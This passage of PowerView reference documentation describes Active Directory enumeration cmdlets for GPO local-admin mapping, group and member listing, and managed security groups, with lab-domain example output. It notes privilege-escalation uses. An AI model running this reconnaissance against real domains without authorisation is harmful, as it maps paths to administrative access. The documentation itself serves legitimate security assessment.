‘CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local’),
GUID (e.g.
‘10ec320d-3111-4ef4-8faf-8f14f4adc789’), or GPO name (e.g.
‘{F260B76D-55C8-46C5-BEF1-9016DD98E272}’).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ResolveMembersToSIDs
Switch.
Indicates that any member names should be resolved to their domain SIDs.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.GPOGroup

## NOTES

## RELATED LINKS

[https://morgansimonsenblog.azurewebsites.net/tag/groups/](https://morgansimonsenblog.azurewebsites.net/tag/groups/)



            

          

      

      

    

  

    
      
          
            
  # Get-DomainGPOUserLocalGroupMapping

## SYNOPSIS
Enumerates the machines where a specific domain user/group is a member of a specific
local group, all through GPO correlation.
If no user/group is specified, all
discoverable mappings are returned.

Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup

## SYNTAX

```
Get-DomainGPOUserLocalGroupMapping [[-Identity] <String>] [-LocalGroup <String>] [-Domain <String>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
Takes a user/group name and optional domain, and determines the computers in the domain
the user/group has local admin (or RDP) rights to.


	It does this by:
	
	





	resolving the user/group to its proper SID
	
	





	enumerating all groups the user/group is a current part of
	
and extracting all target SIDs to build a target SID list





	





	pulling all GPOs that set ‘Restricted Groups’ or Groups.xml by calling
	
Get-DomainGPOLocalGroup





	





	matching the target SID list to the queried GPO SID list
	
to enumerate all GPO the user is effectively applied with





	





	enumerating all OUs and sites and applicable GPO GUIs are
	
applied to through gplink enumerating





	







querying for all computers under the given OUs or sites

If no user/group is specified, all user/group -> machine mappings discovered through
GPO relationships are returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-GPOLocation
`

Find all user/group -> machine relationships where the user/group is a member
of the local administrators group on target machines.

### ————————– EXAMPLE 2 ————————–
`
Find-GPOLocation -UserName dfm -Domain dev.testlab.local
`

Find all computers that dfm user has local administrator rights to in
the dev.testlab.local domain.

### ————————– EXAMPLE 3 ————————–
`
Find-GPOLocation -UserName dfm -Domain dev.testlab.local
`

Find all computers that dfm user has local administrator rights to in
the dev.testlab.local domain.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainGPOUserLocalGroupMapping -Credential $Cred

## PARAMETERS

### -Identity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the user/group to identity GPO local group mappings for.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -LocalGroup
The local group to check access against.
Can be “Administrators” (S-1-5-32-544), “RDP/Remote Desktop Users” (S-1-5-32-555),
or a custom local SID.
Defaults to local ‘Administrators’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
{{Fill SearchBase Description}}

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.GPOLocalGroupMapping

A custom PSObject containing any target identity information and what local
group memberships they’re a part of through GPO correlation.

## NOTES

## RELATED LINKS

[http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/](http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/)



            

          

      

      

    

  

    
      
          
            
  # Get-DomainGroup

## SYNOPSIS
Return all groups or specific group objects in AD.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty

## SYNTAX

```
Get-DomainGroup [[-Identity] <String[]>] [-MemberIdentity <String>] [-AdminCount] [-Domain <String>]


[-LDAPFilter <String>] [-Properties <String[]>] [-SearchBase <String>] [-Server <String>]
[-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>]
[-Tombstone] [-FindOne] [-Credential <PSCredential>] [-Raw]




```

## DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria.
To only return specific properies, use
“-Properties samaccountname,usnchanged,…”.
By default, all group objects for
the current domain are returned.
To return the groups a specific user/group is
a part of, use -MemberIdentity X to execute token groups enumeration.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainGroup | select samaccountname
`


samaccountname

WinRMRemoteWMIUsers__
Administrators
Users
Guests
Print Operators
Backup Operators
…

### ————————– EXAMPLE 2 ————————–
`
Get-DomainGroup *admin* | select distinguishedname
`



distinguishedname

CN=Administrators,CN=Builtin,DC=testlab,DC=local
CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local
CN=Schema Admins,CN=Users,DC=testlab,DC=local
CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
CN=Domain Admins,CN=Users,DC=testlab,DC=local
CN=DnsAdmins,CN=Users,DC=testlab,DC=local
CN=Server Admins,CN=Users,DC=testlab,DC=local
CN=Desktop Admins,CN=Users,DC=testlab,DC=local

### ————————– EXAMPLE 3 ————————–
`
Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl
`



samaccountname

Server Admins

### ————————– EXAMPLE 4 ————————–
`
'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose
`

VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local
VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local)))

usncreated            : 13245
grouptype             : -2147483646
samaccounttype        : 268435456
samaccountname        : Desktop Admins
whenchanged           : 8/10/2016 12:30:30 AM
objectsid             : S-1-5-21-890171859-3433809279-3366196753-1118
objectclass           : {top, group}
cn                    : Desktop Admins
usnchanged            : 13255
dscorepropagationdata : 1/1/1601 12:00:00 AM
name                  : Desktop Admins
distinguishedname     : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
member                : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
whencreated           : 8/10/2016 12:29:43 AM
instancetype          : 4
objectguid            : f37903ed-b333-49f4-abaa-46c65e9cca71
objectcategory        : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local

### ————————– EXAMPLE 5 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainGroup -Credential $Cred

### ————————– EXAMPLE 6 ————————–
`
Get-Domain | Select-Object -Expand name
`

testlab.local

‘DEVDomain Admins’ | Get-DomainGroup -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainGroup] Extracted domain ‘dev.testlab.local’ from ‘DEVDomain Admins’
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins)))



distinguishedname

CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local

## PARAMETERS

### -Identity
A SamAccountName (e.g.
Group1), DistinguishedName (e.g.
CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to query for.
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -MemberIdentity
A SamAccountName (e.g.
Group1), DistinguishedName (e.g.
CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the user/group member to query for group membership.

```yaml
Type: String
Parameter Sets: (All)
Aliases: UserName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -AdminCount
Switch.
Return users with ‘(adminCount=1)’ (meaning are/were privileged).

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Raw
Switch.
Return raw results instead of translating the fields into a custom PSObject.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.Group

Custom PSObject with translated group property fields.

## NOTES

## RELATED LINKS




            

          

      

      

    

  

    
      
          
            
  # Get-DomainGroupMember

## SYNOPSIS
Return the members of a specific domain group.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID

## SYNTAX

### None (Default)
```
Get-DomainGroupMember [-Identity] <String[]> [-Domain <String>] [-LDAPFilter <String>] [-SearchBase <String>]


[-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>]
[-SecurityMasks <String>] [-Tombstone] [-Credential <PSCredential>]




```

### ManualRecurse
```
Get-DomainGroupMember [-Identity] <String[]> [-Domain <String>] [-Recurse] [-LDAPFilter <String>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-Credential <PSCredential>]




```

### RecurseUsingMatchingRule
```
Get-DomainGroupMember [-Identity] <String[]> [-Domain <String>] [-RecurseUsingMatchingRule]


[-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone]
[-Credential <PSCredential>]




```

## DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for the specified
group matching the criteria.
Each result is then rebound and the full user
or group object is returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainGroupMember "Desktop Admins"
`

GroupDomain             : testlab.local
GroupName               : Desktop Admins
GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain            : testlab.local
MemberName              : Testing Group
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberObjectClass       : group
MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1129

GroupDomain             : testlab.local
GroupName               : Desktop Admins
GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain            : testlab.local
MemberName              : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1112

### ————————– EXAMPLE 2 ————————–
`
'Desktop Admins' | Get-DomainGroupMember -Recurse
`

GroupDomain             : testlab.local
GroupName               : Desktop Admins
GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain            : testlab.local
MemberName              : Testing Group
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberObjectClass       : group
MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1129

GroupDomain             : testlab.local
GroupName               : Testing Group
GroupDistinguishedName  : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberDomain            : testlab.local
MemberName              : harmj0y
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1108

GroupDomain             : testlab.local
GroupName               : Desktop Admins
GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain            : testlab.local
MemberName              : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1112

### ————————– EXAMPLE 3 ————————–
`
Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule
`

GroupDomain             : testlab.local
GroupName               : Desktop Admins
GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain            : testlab.local
MemberName              : harmj0y
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1108

GroupDomain             : testlab.local
GroupName               : Desktop Admins
GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain            : testlab.local
MemberName              : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1112

### ————————– EXAMPLE 4 ————————–
`
Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember
`

### ————————– EXAMPLE 5 ————————–
`
'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember
`

### ————————– EXAMPLE 6 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainGroupMember -Credential $Cred -Identity ‘Domain Admins’

### ————————– EXAMPLE 7 ————————–
`
Get-Domain | Select-Object -Expand name
`

testlab.local

‘devdomain admins’ | Get-DomainGroupMember -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainGroupMember] Extracted domain ‘dev.testlab.local’ from ‘devdomain admins’
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local)))

GroupDomain             : dev.testlab.local
GroupName               : Domain Admins
GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
MemberDomain            : dev.testlab.local
MemberName              : user1
MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-339048670-1233568108-4141518690-201108

VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local)))
GroupDomain             : dev.testlab.local
GroupName               : Domain Admins
GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
MemberDomain            : dev.testlab.local
MemberName              : Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local
MemberObjectClass       : user
MemberSID               : S-1-5-21-339048670-1233568108-4141518690-500

## PARAMETERS

### -Identity
A SamAccountName (e.g.
Group1), DistinguishedName (e.g.
CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to query for.
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Recurse
Switch.
If the group member is a group, recursively try to query its members as well.

```yaml
Type: SwitchParameter
Parameter Sets: ManualRecurse
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -RecurseUsingMatchingRule
Switch.
Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse.
Much faster than manual recursion, but doesn’t reveal cross-domain groups,
and only returns user accounts (no nested group objects themselves).

```yaml
Type: SwitchParameter
Parameter Sets: RecurseUsingMatchingRule
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.GroupMember

Custom PSObject with translated group member property fields.

## NOTES

## RELATED LINKS

[http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/](http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/)



            

          

      

      

    

  

    
      
          
            
  # Get-DomainManagedSecurityGroup

## SYNOPSIS
Returns all security groups in the current (or target) domain that have a manager set.

Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl

## SYNTAX

```
Get-DomainManagedSecurityGroup [[-Domain] <String>] [-SearchBase <String>] [-Server <String>]


[-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone]
[-Credential <PSCredential>]




```

## DESCRIPTION
Authority to manipulate the group membership of AD security groups and distribution groups
can be delegated to non-administrators by setting the ‘managedBy’ attribute.
This is typically
used to delegate management authority to distribution groups, but Windows supports security groups
being managed in the same way.

This function searches for AD groups which have a group manager set, and determines whether that
user can manipulate group membership.
This could be a useful method of horizontal privilege
escalation, especially if the manager can manipulate the membership of a privileged group.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv
`

Store a list of all security groups with managers in group-managers.csv

## PARAMETERS

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
